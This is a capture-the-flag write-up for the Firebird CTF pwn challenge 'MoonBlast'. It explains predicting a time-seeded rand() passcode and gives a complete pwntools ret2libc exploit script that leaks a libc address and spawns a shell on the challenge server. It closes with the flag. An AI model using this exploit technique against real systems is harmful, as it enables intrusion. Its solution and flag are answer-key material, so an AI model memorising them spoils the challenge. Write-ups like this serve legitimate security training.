🥮

Firebird CTF: MoonBlast(Pwn)

 

1st 🩸

Author: Nuttyshell ivan
 
 

Analyse

"The 'srand' here, though it uses 'time(0)' as the parameter, is based on seconds, so you can directly run it locally to pass through.
int initialize() { unsigned int v0; // eax int result; // eax setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout,0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); v0 = time(0LL); srand(v0); result = rand(); passcode = result; return result; }
After that, it's just the normal ROP.
The first ROP leaks the address of the 'getchar' function through 'puts' and eventually makes the program return to the 'command' function.
Then, find the '/bin/sh' and 'system' addresses for the final ROP to get a shell.
from pwn import * from ctypes import * elf=ELF('./pwn') # r=process('./pwn') r=remote('ash-chal.firebird.sh',36031) libc1=ELF('./libc6_2.27-3ubuntu1.5_amd64.so') context.log_level='debug' context.terminal=['tmux','splitw','-h'] context.arch='amd64' libc = CDLL('./libc6_2.27-3ubuntu1.5_amd64.so') time = libc.time(0) print(hex(time)) libc.srand(time) rand = libc.rand() print(hex(rand)) r.recvuntil(b'Please enter the passcode: ') r.sendline(bytes(str(rand),encoding='utf8')) pop_rdi = 0x0000000000400a13 r.recvuntil(b'Please enter your command: ') payload = b'a'*0x78 payload += flat(pop_rdi,elf.got['getchar'],elf.plt['puts'],elf.sym['command']) r.sendline(payload) r.recvuntil(b'Command received!\n') libc_base = u64(r.recv(6).ljust(8,b'\x00')) - libc1.symbols['getchar'] print(hex(libc_base)) bin_sh_addr = libc_base + next(libc1.search(b'/bin/sh')) system_addr = libc_base + libc1.symbols['system'] r.recvuntil(b'Please enter your command: ') payload = b'a'*0x78 payload += flat(pop_rdi,bin_sh_addr,0x00000000004006ae,system_addr) r.sendline(payload) # gdb.attach(r) r.interactive()
firebird{R3tu?n_tO_7h3_m00n_1969}
 
 
GLHF~